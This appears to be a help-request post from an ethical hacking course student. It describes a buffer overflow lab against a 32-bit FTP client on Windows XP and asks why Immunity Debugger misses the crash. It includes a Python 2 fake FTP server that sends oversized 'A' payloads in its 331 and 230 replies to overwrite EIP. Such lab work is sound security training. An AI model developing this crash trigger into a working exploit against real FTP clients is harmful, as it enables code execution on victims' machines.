32bit FTP Buffer Overflow Lab — Immunity Debugger Capture Fix -- 2

Context:
I’m taking an ethical hacking course on Windows XP (32bit, x86) and trying to perform a classic buffer overflow using 32bit FTP version 25.10.31 as the target client, a fake FTP server written in Python 2 to send the payload, and Immunity Debugger to capture the crash.
What is working:
• The Python server starts normally on port 21
• 32bit FTP successfully connects to the Python server
• The payload of \x41 is sent in the 220, 331 and 230 response fields
• At some point the FTP seems to crash (screen goes grey)
• Immunity Debugger is configured as JIT debugger
• DEP is configured as “essential programs only”
• Memory access violation is configured to NOT be ignored in Immunity
The problem:
Immunity Debugger is not capturing the crash correctly. When the FTP crashes the screen goes grey but Immunity does not pause showing the access violation with the EIP overwritten with 41414141 as it should.
What has already been tried:
• Opening the FTP through Immunity’s File > Open
• Configuring JIT debugging without confirmation
• Disabling Windows XP firewall
• Unchecking all exceptions in pass to program
• Increasing FTP timeout to 999
• Sending payload in multiple fields (220, 331, 230)
• Testing payloads of 1200 and 3000 bytes
What is needed:
Identify why Immunity is not capturing the crash and correctly configure the environment so that when the buffer overflow occurs, Immunity pauses and shows the EIP overwritten with 41414141.



Obs.: Python code:

#!/usr/bin/python
from socket import *

print ">>> SCRIPT STARTING <<<"

payload = "\x41" * 1200

# Tries to create the socket and bind to port 21
try:
s = socket(AF_INET, SOCK_STREAM)
s.bind(("127.0.0.1", 21))
print ">>> BIND OK <<<"
except Exception as e:
print ">>> BIND ERROR:", e
raw_input("Press Enter to exit...")
exit()

# Puts the socket to listen for connections
try:
s.listen(1)
print ">>> LISTEN OK (port 21) <<<"
except Exception as e:
print ">>> LISTEN ERROR:", e
raw_input("Press Enter to exit...")
exit()

print "[+] Waiting for FTP client connection..."

# Accepts the client connection
try:
c, addr = s.accept()
print "[+] Connection accepted from:", addr[0]
except Exception as e:
print ">>> ACCEPT ERROR:", e
raw_input("Press Enter to exit...")
exit()

# Sends a normal banner so the client doesn't disconnect early
try:
c.send("220 ok\r\n")
print "[+] Banner 220 sent (no payload)"
except Exception as e:
print ">>> ERROR SENDING BANNER:", e

# Receives the USER command from the client
try:
data = c.recv(1024)
print "[+] Received from client:", data.strip()
except Exception as e:
print ">>> ERROR RECEIVING USER:", e

# Sends payload in the USER response (suspected vulnerable field)
try:
c.send("331 " + payload + "\r\n")
print "[+] Payload sent in USER response (331)"
except Exception as e:
print ">>> ERROR SENDING 331:", e

# Receives the PASS command from the client
try:
data = c.recv(1024)
print "[+] Received from client:", data.strip()
except Exception as e:
print ">>> ERROR RECEIVING PASS:", e

# Sends payload in the PASS response as well
try:
c.send("230 " + payload + "\r\n")
print "[+] Payload sent in PASS response (230)"
except Exception as e:
print ">>> ERROR SENDING 230:", e

print "[+] Payloads sent - check Immunity Debugger now!"
print "[+] If successful, Immunity should pause with Access Violation"

raw_input("Press Enter to exit...")
c.close()
s.close()
print "[+] Done"